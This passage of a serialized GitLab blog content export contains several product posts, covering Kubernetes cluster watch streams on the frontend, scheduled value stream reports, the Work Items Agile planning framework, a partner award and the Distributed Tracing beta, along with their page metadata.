request, we subscribe to the stream even if an empty list was received to reflect any cluster state changes. For the Flux resource, the changes that the user would expect the resource to appear after the initial request are low. We use the empty response here as an opportunity to provide more information about the feature and its setup. \n\n![Kubernetes overview - flux sync status unavailable](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099055/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750099055235.png)\n\nAfter rendering the initial result, the frontend makes additional requests to the Kubernetes API with the `?watch=true` query parameter in the URL. We create separate watchers for each event type – data, error, or timeout. When receiving the data, we follow three steps:\n\n- transform the data\n- update the Apollo cache\n- run a mutation to update the connection status\n\n```javascript\nwatcher.on(EVENT_DATA, (data) => {\n  result = data.map(mapWorkloadItem);\n  client.writeQuery({\n    query,\n    variables: { configuration, namespace },\n    data: { [queryField]: result },\n  });\n\n  updateConnectionStatus(client, {\n    configuration,\n    namespace,\n    resourceType: queryField,\n    status: connectionStatus.connected,\n  });\n});\n```\n\nAs we show the detailed information for each resource, we rely on having the status, spec, and metadata fields with the annotations and labels included. The Kubernetes API wouldn’t always send this information, which could break the UI and throw errors from the GraphQl client. We transform the received data first to avoid these issues. We also add the `__typename` so that we can better define the data types and simplify the queries by reusing the shared fragments.\n\nAfter data stabilization, we update the Apollo cache so that the frontend re-renders the views accordingly to reflect cluster state changes. Interestingly, we can visualize exactly what happens in the cluster – for example, when deleting the pods, Kubernetes first creates the new ones in the pending state, and only then removes the old pods. Thus, for a moment we can see double the amount of pods. We can also verify how the pods proceed from one state to another in real-time. This is done with the combination of added, deleted, and modified events received from the Kubernetes APIs and processed in the `WatchApi` class of the `@gitlab/cluster-client` library.\n\n![Kubernetes overview - states of connection status](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099055/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099055236.gif)\n\nBy default, with a single Watch request, we get a stream of events for five minutes, and then it hits the timeout. We need to properly reflect this on the frontend so that the user is aware of any outdated information. To achieve this, we introduced a `k8sConnection` query together with `reconnectToCluster` mutation. We have a UI element – a badge with a tooltip to indicate the connection status. It has three states: connecting, connected, and disconnected. The state gets updated within every step of the UX flow. First, we set it to `connecting` once the Watch client gets created. Then we update it to `connected` with the first received piece of data. Last, we trigger the mutation for `disconnected` state when an error or timeout event occurs. This way, we can let the user refresh the view and reconnect to the stream without the need of refreshing the browser tab. Relying on the user action to reconnect to the stream helps us save resources and only request the necessary data while ensuring the accurate cluster state is available for the user at any time.\n\n## What’s next?\n\nLeveraging the Kubernetes built-in functionality for watching the Readable stream helped us to build the functionality quickly and provide the Kubernetes UI solution to our customers, getting early feedback and adjusting the product direction. This approach, however, presented technical challenges, such as the inability to utilize the GraphQl subscriptions and the need for reconnecting to the stream.\n\nWe are planning our next iterations to enhance the Kubernetes overview within GitLab UI. One of the planned iterations for the feature, [Frontend-friendly Kubernetes Watch API](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/issues/541), is an updated mechanism of batch-watching the cluster data and moving from the fetch Readable stream to WebSockets. We are going to create a new API in KAS to expose the Kubernetes watch capability via WebSocket. This should reduce the complexity of the JavaScript code, resolve the timeout issue, and improve the compatibility of the Kubernetes APIs within GitLab frontend integrations.\n\n> Curious to learn more or want to try out this functionality? Visit our [Kubernetes Dashboard documentation](https://docs.gitlab.com/ee/ci/environments/kubernetes_dashboard.html) for more details and configuration tips.\n",[2509,754,696],{"slug":5522,"featured":92,"template":678},"kubernetes-overview-operate-cluster-data-on-the-frontend","content:en-us:blog:kubernetes-overview-operate-cluster-data-on-the-frontend.yml","Kubernetes Overview Operate Cluster Data On The Frontend","en-us/blog/kubernetes-overview-operate-cluster-data-on-the-frontend.yml","en-us/blog/kubernetes-overview-operate-cluster-data-on-the-frontend",{"_path":5528,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5529,"content":5535,"config":5539,"_id":5541,"_type":16,"title":5542,"_source":17,"_file":5543,"_stem":5544,"_extension":20},"/en-us/blog/new-scheduled-reports-generation-tool-simplifies-value-stream-management",{"title":5530,"description":5531,"ogTitle":5530,"ogDescription":5531,"noIndex":6,"ogImage":5532,"ogUrl":5533,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5533,"schema":5534},"New Scheduled Reports Generation tool simplifies value stream management","Proactively receive the most recent metrics from the GitLab Value Streams Dashboard, streamlining the reporting process. This walkthrough shows you how.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669134/Blog/Hero%20Images/blog-image-template-1800x945__17_.png","https://about.gitlab.com/blog/new-scheduled-reports-generation-tool-simplifies-value-stream-management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"New Scheduled Reports Generation tool simplifies value stream management\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Haim Snir\"}],\n        \"datePublished\": \"2024-06-20\",\n      }",{"title":5530,"description":5531,"authors":5536,"heroImage":5532,"date":5498,"body":5537,"category":962,"tags":5538},[2485],"Optimizing processes and performance is crucial for staying competitive in the fast-paced world of software development. [GitLab Value Stream Management (VSM)](https://www.youtube.com/watch?v=8pLEucNUlWI) is a powerful solution that helps organizations achieve this by providing a holistic view of the entire software delivery lifecycle. VSM enables teams to measure, manage, and improve their workflows, ensuring that every step adds value and minimizes waste. GitLab VSM also includes [AI Impact Analytics](https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/), which helps managers quantify the impact of [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our AI-powered suite of features to power DevSecOps workflows, on productivity, providing deeper insights into how AI enhances developer efficiency. Now, we are announcing the next step in this VSM journey: Scheduled Reports Generation, available now.\n\nWith the Scheduled Reports Generation tool, value stream management becomes easier and more effective. Scheduled Reports Generation is designed to streamline the reporting process, providing you with the most recent [metrics from the Value Streams Dashboard](https://docs.gitlab.com/ee/user/analytics/value_streams_dashboard.html#dashboard-metrics-and-drill-down-reports), delivered on a scheduled basis.\n\nThe Value Streams Dashboard tracks key metrics throughout the software development lifecycle, assesses the impact of process improvements, and drills down into roadblocks. It helps to compare best practices across teams in turn improving workflow and delivering customer value faster.\n\n> Learn more with our [Value Streams Dashboard tutorial](https://about.gitlab.com/blog/getting-started-with-value-streams-dashboard/).\n\n## Why scheduled VSM Reports are important\n\nScheduled Reports Generation provides software managers a powerful partner in their quest for continuous improvement. This tool offers the ability to automate the creation and distribution of detailed value stream reports across the software delivery lifecycle. Here’s why this is valuable:\n\n1. **Consistent monitoring:** Having automated reports ensures that software managers receive regular updates on critical metrics without manual intervention. This consistency helps in maintaining a continuous feedback loop.\n\n2. **Data-driven decision-making:** With up-to-date and accurate data at their fingertips, managers can make better and faster decisions, driving better results.\n\n3. **Time savings:** Automating report generation frees up valuable time for managers, allowing them to focus on strategic initiatives rather than routine data collection and analysis.\n\n### Inside the Scheduled Reports Generation tool\n\nHere is how the VSM tool works:\n\n1. The VSM reporting tool is a [CI/CD Catalog component](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/) that allows you to periodically schedule reports.\n\n2. These reports collect metrics from projects or groups via the public GitLab GraphQL API and are built using [GitLab Flavored Markdown](https://docs.gitlab.com/ee/user/markdown.html).\n\n3. As the final step, the tool opens an issue in the designated project, complete with a markdown comparison metrics table, as shown in the example below.\n\n![Scheduled reports generation - issue generation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677009/Blog/Content%20Images/Screenshot_2024-06-20_at_18.38.05.png)\n\n> To learn more and for additional examples, please visit the [Scheduled Reports Generation's README file](https://gitlab.com/components/vsd-reports-generator#example-for-monthly-executive-value-streams-report).\n\n### Get to know the Value Streams Dashboard\nWatch this intro video to get familiar with Value Streams Dashboard.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/8pLEucNUlWI?si=aIdrvREPVBwfC4wM\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Additional resources\n- [Getting started with the new GitLab Value Streams Dashboard](https://about.gitlab.com/blog/getting-started-with-value-streams-dashboard/)\n- [Developing GitLab Duo: AI Impact analytics dashboard measures the ROI of AI](https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)",[754,479,736],{"slug":5540,"featured":6,"template":678},"new-scheduled-reports-generation-tool-simplifies-value-stream-management","content:en-us:blog:new-scheduled-reports-generation-tool-simplifies-value-stream-management.yml","New Scheduled Reports Generation Tool Simplifies Value Stream Management","en-us/blog/new-scheduled-reports-generation-tool-simplifies-value-stream-management.yml","en-us/blog/new-scheduled-reports-generation-tool-simplifies-value-stream-management",{"_path":5546,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5547,"content":5553,"config":5559,"_id":5561,"_type":16,"title":5562,"_source":17,"_file":5563,"_stem":5564,"_extension":20},"/en-us/blog/first-look-the-new-agile-planning-experience-in-gitlab",{"title":5548,"description":5549,"ogTitle":5548,"ogDescription":5549,"noIndex":6,"ogImage":5550,"ogUrl":5551,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5551,"schema":5552},"First look: The new Agile planning experience in GitLab","Learn about new capabilities, including a brand-new framework, that will support a more unified and flexible user experience – and find out what's coming next.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099072/Blog/Hero%20Images/Blog/Hero%20Images/agile_agile.png_1750099072322.png","https://about.gitlab.com/blog/first-look-the-new-agile-planning-experience-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"First look: The new Agile planning experience in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Melissa Ushakov\"}],\n        \"datePublished\": \"2024-06-18\",\n      }",{"title":5548,"description":5549,"authors":5554,"heroImage":5550,"date":5556,"body":5557,"category":1897,"tags":5558},[5555],"Melissa Ushakov","2024-06-18","In today's fast-paced world, GitLab customers rely on our [Agile planning features](https://about.gitlab.com/solutions/agile-delivery/) to consistently deliver value to their users. By leveraging GitLab's issues, sub-epics, and epics, leaders gain a clear view of organizational activities, enabling them to make strategic decisions that align with their business goals. At GitLab, understanding and adapting to our customers' needs is core to our mission. As our customers' needs evolve, so must our approach, prompting us to enhance our existing functionalities to serve them better.\n\nGitLab has embarked on a journey to advance our [Agile planning](https://about.gitlab.com/blog/categories/agile-planning/) capabilities and unlock a new level of collaboration and shared awareness from tasks to goals. In this article, you'll learn about our approach to Agile planning, what you can expect to change in the next few releases, and our exciting long-term vision.\n\n## The need for a new approach\n\nToday, [epics](https://docs.gitlab.com/ee/user/group/epics/) and [issues](https://docs.gitlab.com/ee/user/project/issues/) exist as separate experiences. For example, epics don’t have assignees and issues are not supported at the group level. These differences create friction for team leaders who work with issues and epics and expect similar functionality to be available for a seamless workflow and effective Agile planning. The lack of uniformity can also cause confusion among team members and ultimately hinder productivity. We understand that these differences make the Agile planning experience in GitLab more challenging than it should be.\n\n![Image of challenges in Agile planning](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099086/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750099086456.png)\n\n\u003Ccenter>\u003Ci>Inconsistencies between issues and epics can introduce friction to user workflows.\u003C/i>\u003C/center>\n\n\u003Cp>\n\nConsistency is not the only challenge with the current Agile planning experience in GitLab. Our user base feedback and market analysis point to the need for more flexibility to represent an organization’s unique way of working. Many Agile and strategic frameworks in the market inform an organization's processes. Our approach is to provide a flexible solution that can adapt to your needs while supporting common, out-of-the-box frameworks. One example of a widely adopted framework is \"Objectives and Key Results,\" which helps leaders tie operational work to strategic objectives. Epics and issues alone could not support our customers' growing need for more types of planning objects to represent their organization’s workflow.\n\nYour input has been invaluable in shaping our strategy to center on a unified experience; as a result, we created the Work Items framework to reimagine our current issue and epic implementation and pave the way for the future. This new model will allow us to provide a more consistent experience for our existing Agile planning objects, improving the day-to-day experience for Agile teams using GitLab. It will also facilitate the introduction of new features and improvements more rapidly, as the unified architecture simplifies development and maintenance. The Work Items framework is crucial to delivering a more powerful, flexible, and user-friendly Agile planning experience in GitLab.\n\n![Work Items framework](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099086/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750099086457.png)\n\n\u003Ccenter>\u003Ci>The Work Items framework provides a starting point for existing planning objects and sets a foundation for new types.\u003C/i>\u003C/center>\n\n## Iterating while rebuilding\n\nProtecting our users from disruption was a top priority as we rebuilt our Agile planning capabilities. Many users rely on epics and issues for business-critical processes in their organization, so an uninterrupted experience was paramount. We also wanted to keep true to GitLab’s iteration value to ensure and deliver value incrementally. Tasks were introduced and are powered by the Work Items framework, allowing us to provide net new value to our users while we build the capabilities needed for issues and epics over time. Tasks have had incredible adoption and have provided a way for us to get invaluable feedback about the new work items experience.\n\n![Tasks in the Work Items framework](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099086/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750099086459.png)\n\n\u003Ccenter>\u003Ci>Tasks provide a way to decompose issues and were the first item to use the Work Items framework.\u003C/i>\u003C/center>\n\n## Exciting updates coming\n\nWe are excited to announce a refreshed epics and issues experience in GitLab – powered by the Work Items framework – is coming later this year. Existing epic and issue data, APIs, webhooks, and URLs will continue to work as expected. You will not need to do anything to prepare or to take advantage of the new functionality. After the transition, you will notice a refreshed look and feel on the detail page and additional capabilities for epics, such as assignees, health status, and more!\n\n![Issues and epics in the Work Items framework](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099086/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750099086461.png)\n\n\u003Ccenter>\u003Ci>The Work Items framework will drive consistency for issues and epics.\u003C/i>\u003C/center>\n\n \u003Cp>\n\nThis is just the beginning of our journey! Over the next few months, we will release long-awaited functionality, including custom fields and configurable statuses, to provide additional flexibility in your planning workflows. We also plan to update our lists, boards, and roadmaps experience to give you more ways to interact with and visualize your planning data.\n\n![Status and priority fields](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099086/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099086463.png)\n\n\u003Ccenter>\u003Ci>Status and priority are newly planned fields to help streamline planning. Custom fields can meet various use cases like value scores and approval processes. \u003C/i>\u003C/center>\n\n## Getting started with GitLab\n\nWe can’t wait for you to experience these enhancements. They’re designed to take your Agile planning to the next level. Stay tuned for more updates, and get ready to harness the full potential of GitLab’s innovative capabilities!\n\n> The Enterprise Agile Planning add-on is available to GitLab Ultimate subscriptions. Please [contact your GitLab sales representative](https://about.gitlab.com/sales/) for more information.\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[1899,754],{"slug":5560,"featured":92,"template":678},"first-look-the-new-agile-planning-experience-in-gitlab","content:en-us:blog:first-look-the-new-agile-planning-experience-in-gitlab.yml","First Look The New Agile Planning Experience In Gitlab","en-us/blog/first-look-the-new-agile-planning-experience-in-gitlab.yml","en-us/blog/first-look-the-new-agile-planning-experience-in-gitlab",{"_path":5566,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5567,"content":5572,"config":5576,"_id":5578,"_type":16,"title":5579,"_source":17,"_file":5580,"_stem":5581,"_extension":20},"/en-us/blog/gitlab-receives-ally-technology-partner-award-for-operational-excellence",{"title":5568,"description":5569,"ogTitle":5568,"ogDescription":5569,"noIndex":6,"ogImage":831,"ogUrl":5570,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5570,"schema":5571},"GitLab receives Ally Technology Partner Award for Operational Excellence","Financial firm recognizes GitLab for its ability to deliver lean, automated, and streamlined business models that drive simplified and resilient solutions for Ally and its customers.","https://about.gitlab.com/blog/gitlab-receives-ally-technology-partner-award-for-operational-excellence","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab receives Ally Technology Partner Award for Operational Excellence\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2024-06-18\",\n      }",{"title":5568,"description":5569,"authors":5573,"heroImage":831,"date":5556,"body":5574,"category":736,"tags":5575},[3281],"Earlier this month, Ally Financial, a leading digital financial services company, awarded GitLab its Ally Technology Partner Award for Operational Excellence, citing the fundamental role GitLab and the GitLab DevSecOps platform play for Ally and its customers.\n\n\"This award is meant to recognize partners who help us ensure the resiliency of our solutions and who are committed to not just providing us products but helping us to operationalize and maintain those products on a sustained basis,\" said Spencer Cremers, CIO of Enterprise Technology Operations at Ally Financial. \"GitLab is a critical toolset that is fundamental to our day-to-day operations.\" \n\nAlly began migrating to GitLab in recent years and now has a large number of applications that have fully adopted DevSecOps principles. GitLab enables Ally to carry out thousands of builds per day across all environments and deploy numerous builds into Production every week.\n\nGitLab was also lauded for helping support Ally's operational goals. \"GitLab also provides tremendous operational support when we need service or responses on a short-notice basis,\" Cremers said.\n\nHe added that GitLab is helping the company explore \"virtualized development environments for a more efficient and predictable space for developers to learn,\" as well as security tools to shift security left in the software development lifecycle.\n\nThis is the second year GitLab has won an [Ally Technology Partner Award](https://www.ally.com/tech/partnering-to-drive-transformation-2nd-annual-ally-technology-partner-awards/). In 2023, the first year these awards were given, the financial firm recognized GitLab for \"[Velocity with Quality](https://www.ally.com/tech/recognizing-delivery-in-ecosystem-ally-technology-partner-awards/)\" for excellent speed to market, responsiveness, and flexibility, allowing Ally to deliver value to customers quickly. \n\n> Learn [how Ally uses the GitLab DevSecOps Platform](https://about.gitlab.com/customers/ally/) to achieve some big wins, including a 55% increase in deployment velocity and $300k yearly cost savings.",[282,736,479],{"slug":5577,"featured":6,"template":678},"gitlab-receives-ally-technology-partner-award-for-operational-excellence","content:en-us:blog:gitlab-receives-ally-technology-partner-award-for-operational-excellence.yml","Gitlab Receives Ally Technology Partner Award For Operational Excellence","en-us/blog/gitlab-receives-ally-technology-partner-award-for-operational-excellence.yml","en-us/blog/gitlab-receives-ally-technology-partner-award-for-operational-excellence",{"_path":5583,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5584,"content":5590,"config":5596,"_id":5598,"_type":16,"title":5599,"_source":17,"_file":5600,"_stem":5601,"_extension":20},"/en-us/blog/monitor-application-performance-with-distributed-tracing",{"title":5585,"description":5586,"ogTitle":5585,"ogDescription":5586,"noIndex":6,"ogImage":5587,"ogUrl":5588,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5588,"schema":5589},"Monitor application performance with Distributed Tracing","Learn how Distributed Tracing helps troubleshoot application performance issues by providing end-to-end visibility and seamless collaboration across your organization.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098000/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%288%29_5x6kH5vwjz8cwKgSBh1w11_1750098000511.png","https://about.gitlab.com/blog/monitor-application-performance-with-distributed-tracing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Monitor application performance with Distributed Tracing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sacha Guyon\"}],\n        \"datePublished\": \"2024-06-13\",\n      }",{"title":5585,"description":5586,"authors":5591,"heroImage":5587,"date":5593,"body":5594,"category":695,"tags":5595},[5592],"Sacha Guyon","2024-06-13","Downtime due to application defects or performance issues can have devastating financial consequences for businesses. An hour of downtime is estimated to cost firms $301,000 or more, according to [Information Technology Intelligence Consulting's 2022 Global Server Hardware and Server OS Reliability Survey](https://itic-corp.com/server-and-application-by-the-numbers-understanding-the-nines/). These issues often originate from human-introduced changes, such as code or configuration changes.\n\nResolving such incidents requires development and operations teams to collaborate closely, investigating the various components of the system to find the root cause change, and promptly restore the system back to normal operation. However, these teams commonly use separate tools to build, manage, and monitor their application services and infrastructure. This approach leads to siloed data, fragmented communication, and inefficient context switching, increasing the time spent to detect and resolve incidents.\n\nGitLab aims to address this challenge by combining software delivery and monitoring functionalities within the same platform. Last year, we released [Error Tracking](https://docs.gitlab.com/ee/operations/error_tracking.html) as a general availability feature in [GitLab 16.0](https://about.gitlab.com/releases/2023/05/22/gitlab-16-0-released/#error-tracking-is-now-generally-available). Now, we're excited to announce the [Beta release of Distributed Tracing](https://docs.gitlab.com/ee/operations/tracing), the next step toward a comprehensive observability offering seamlessly integrated into the GitLab DevSecOps platform.\n\n## A new era of efficiency: GitLab Observability\n\nGitLab Observability empowers development and operations teams to visualize and analyze errors, traces, logs, and metrics from their applications and infrastructure. By integrating application performance monitoring into existing software delivery workflows, context switching is minimized and productivity is increased, keeping teams focused and collaborative on a unified platform.\n\nAdditionally, GitLab Observability bridges the gap between development and operations by providing insights into application performance in production. This enhances transparency, information sharing, and communication between teams. Consequently, they can detect and resolve bugs and performance issues arising from new code or configuration changes sooner and more effectively, preventing those issues from escalating into major incidents that could negatively impact the business.\n\n## What is Distributed Tracing?\n\nWith Distributed Tracing, engineers can identify the source of application performance issues. A trace represents a single user request that moves through different services and systems. Engineers are able to analyze the timing of each operation and any errors as they occur.\n\nEach trace is composed of one or more spans, which represent individual operations or units of work. Spans contain metadata like the name, timestamps, status, and relevant tags or logs. By examining the relationships between spans, developers can understand the request flow, identify performance bottlenecks, and pinpoint issues.\n\nDistributed Tracing is especially valuable for [microservices architecture](https://about.gitlab.com/topics/microservices/), where a single request may involve numerous service calls across a complex system. Tracing provides visibility into this interaction, empowering teams to quickly diagnose and resolve problems.\n\n![tracing example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098009/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098009139.png)\n\nFor example, this trace illustrates a how a user request flows through difference services to fetch product recommendations on a e-commerce website:\n\n- `User Action`: This indicates the user's initial action, such as clicking a button to request product recommendations on a product page.\n-  `Web front-end`: The web front-end sends a request to the recommendation service to retrieve product recommendations.\n- `Recommendation service`: The request from the web front-end is handled by the recommendation service, which processes the request to generate a list of recommended products.\n- `Catalog service`: The recommendation service calls the catalog service to fetch details of the recommended products. An alert icon suggests an issue or delay at this stage, such as a slow response or error in fetching product details.\n- `Database`: The catalog service queries the database to retrieve the actual product details. This span shows the SQL query in the database.\n\nBy visualizing this end-to-end trace, developers can identify performance issues – here, an error in the Catalog service – and quickly diagnose and resolve issues across the distributed system.\n\n![End-to-end trace](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098009/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098009140.png)\n\n## How Distributed Tracing works\n\nHere is a breakdown of how Distributed Tracing works.\n\n### Collect data from any application with OpenTelemetry\n\nTraces and spans can be collected using [OpenTelemetry](https://opentelemetry.io/docs/what-is-opentelemetry/), an open-source observability framework that supports a wide array of SDKs and libraries across [major programming languages and frameworks](https://opentelemetry.io/docs/languages/). This framework offers a vendor-neutral approach for collecting and exporting telemetry data, enabling developers to avoid vendor lock-in and choose the tools that best fit their needs.\n\nThis means that if you are already using OpenTelemetry with another vendor, you can send data to us simply by adding our endpoint to your configuration file, making it very easy to try out our features!\n\n![Distributed tracing workflow diagram](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098009/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098009141.png)\n\n### Ingest and retain data at scale with fast, real-time queries\n\nObservability requires the storage and querying of vast amounts of data while maintaining low latency for real-time analytics. To meet these needs, we developed a horizontally scalable, long-term storage solution using ClickHouse and Kubernetes, based on our [acquisition of Opstrace](https://about.gitlab.com/press/releases/2021-12-14-gitlab-acquires-opstrace-to-expand-its-devops-platform-with-open-source-observability-solution/). This [open-source platform](https://gitlab.com/gitlab-org/opstrace/opstrace) ensures rapid query performance and enterprise-grade scalability, all while minimizing costs.\n\n### Explore and analyze traces effortlessly\nAn advanced, native-level user interface is crucial for effective data exploration. We built such an interface from the ground up, starting with our Trace Explorer, which allows users to examine traces and understand their application's performance:\n- __Advanced filtering:__ Filter by services, operation names, status, and time range. Autocomplete helps simplify querying.\n- __Error highlighting:__ Easily identify error spans in search results.\n- __RED metrics:__ Visualize the Requests rate, Errors rate, and average Duration as a time-series chart for any search in real-time.\n- __Timeline view:__ Individual traces are displayed as a waterfall diagram, providing a complete view of a request distributed across different services and operations.\n- __Historical data:__ Users can query traces up to 30 days in the past.\n\n![Distributed Tracing - image 5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098009/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098009141.png)\n\n## How we use Distributed Tracing at GitLab\n[Dogfooding](https://handbook.gitlab.com/handbook/values/#dogfooding) is a core value and practice at GitLab. We've been already using early versions of Distributed Tracing for our engineering and operations needs. Here are a couple example use cases from our teams:\n\n### 1. Debug errors and performance Issues in GitLab Agent for Kubernetes\n\nThe [Environments group](https://handbook.gitlab.com/handbook/engineering/development/ops/deploy/environments/) has been using Distributed Tracing to troubleshoot and resolve issues with the [GitLab Agent for Kubernetes](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent), such as timeouts or high latency issues. The Trace List and Trace Timeline views offer valuable insights for the team to address these concerns efficiently. These traces are shared and discussed in the [related GitLab issues](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/issues/386#note_1576431796), where the team collaborates on resolution.\n\n\u003Ccenter>\u003Ci>\"The Distributed Tracing feature has been invaluable in pinpointing where latency issues are occurring, allowing us to focus on the root cause and resolve it faster.\" - Mikhail, GitLab Engineer\u003C/i>\u003C/center>\u003Cp>\n\n### 2. Optimize GitLab’s build pipeline duration by identifying performance bottlenecks\n\nSlow deployments of GitLab source code can significantly impact the productivity of the whole company, as well as our compute spending. Our main repository runs [over 100,000 pipelines every month](https://gitlab.com/gitlab-org/gitlab/-/pipelines/charts). If the time it takes for these pipelines to run changes by just one minute, it can add or remove more than 2,000 hours of work time. That's 87 extra days!\n\nTo optimize pipeline execution time, GitLab's [platform engineering teams](https://handbook.gitlab.com/handbook/engineering/infrastructure/) utilize a [custom-built tool](https://gitlab.com/gitlab-com/gl-infra/gitlab-pipeline-trace) that converts GitLab deployment pipelines into traces.\n\nThe Trace Timeline view allows them to visualize the detailed execution timeline of complex pipelines and pinpoint which jobs are part of the critical path and slowing down the entire process. By identifying these bottlenecks, they can optimize job execution – for example, making the job fail faster, or running more jobs in parallel – to improve overall pipeline efficiency.\n\n![Distributed Tracing - image 6](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098009/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098009143.gif)\n\n[The script is freely available](https://gitlab.com/gitlab-com/gl-infra/gitlab-pipeline-trace), so you can adapt it for your own pipelines.\n\n\u003Ccenter>\u003Ci>\"Using Distributed Tracing for our deployment pipelines has been a game-changer. It's helped us quickly identify and eliminate bottlenecks, significantly reducing our deployment times.\"- Reuben, GitLab Engineer\u003C/i>\u003C/center>\u003Cp>\n\n## What's coming next?\n\nThis release is just the start: In the next few months, we'll continue to expand our observability and monitoring features with the upcoming Metrics and Logging releases. Check out [our Observability direction page](https://about.gitlab.com/direction/monitor/platform-insights/) for more info, and keep an eye out for updates!\n\n## Join the private Beta\n\nInterested in being part of this exciting journey? [Sign up to enroll in the private Beta](https://docs.gitlab.com/operations/observability/) and try out our features. Your contribution can help shape the future of observability within GitLab, ensuring our tools are perfectly aligned with your needs and challenges.\n\n> Help shape the future of GitLab Observability. [Join the Distributed Tracing Beta.](https://docs.gitlab.com/operations/observability/)",[1268,754,736,479,2368],{"slug":5597,"featured":92,"template":678},"monitor-application-performance-with-distributed-tracing","content:en-us:blog:monitor-application-performance-with-distributed-tracing.yml","Monitor Application Performance With Distributed Tracing","en-us/blog/monitor-application-performance-with-distributed-tracing.yml","en-us/blog/monitor-application-performance-with-distributed-tracing",{"_path":5603,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5604,"content":5610,"config":5615,"_id":5618,"_type":16,"title":5619,"_source":17,"_file":5620,"_stem":5621,"_extension":20},"/en-us/blog/gitlab-patch-release-17-0-2-16-11-4-16-10-7",{"title":5605,"description":5606,"ogTitle":5605,"ogDescription":5606,"config":5607,"ogImage":3431,"ogUrl":5608,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5608,"schema":5609},"GitLab Patch Release: 17.0.2, 16.11.4, 16.10.7","Learn more about GitLab Patch Release: 17.0.2, 16.11.4, 16.10.7 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-0-2-16-11-4-16-10-7","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.0.2, 16.11.4, 16.10.7\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Myers\"}],\n        \"datePublished\": \"2024-06-12\",\n      }",{"title":5605,"description":5606,"authors":5611,"heroImage":3431,"date":5612,"body":5613,"category":674,"tags":5614},[866],"2024-06-12","This is the blog post for [GitLab Patch Release: 17.0.2, 16.11.4, 16.10.7](https://about.gitlab.com/releases/2024/06/12/patch-release-gitlab-17-0-2-released/).",[1464,716],{"slug":5616,"featured":6,"template":678,"externalUrl":5617},"gitlab-patch-release-17-0-2-16-11-4-16-10-7","https://about.gitlab.com/releases/2024/06/12/patch-release-gitlab-17-0-2-released/","content:en-us:blog:gitlab-patch-release-17-0-2-16-11-4-16-10-7.yml","Gitlab Patch Release 17 0 2 16 11 4 16 10 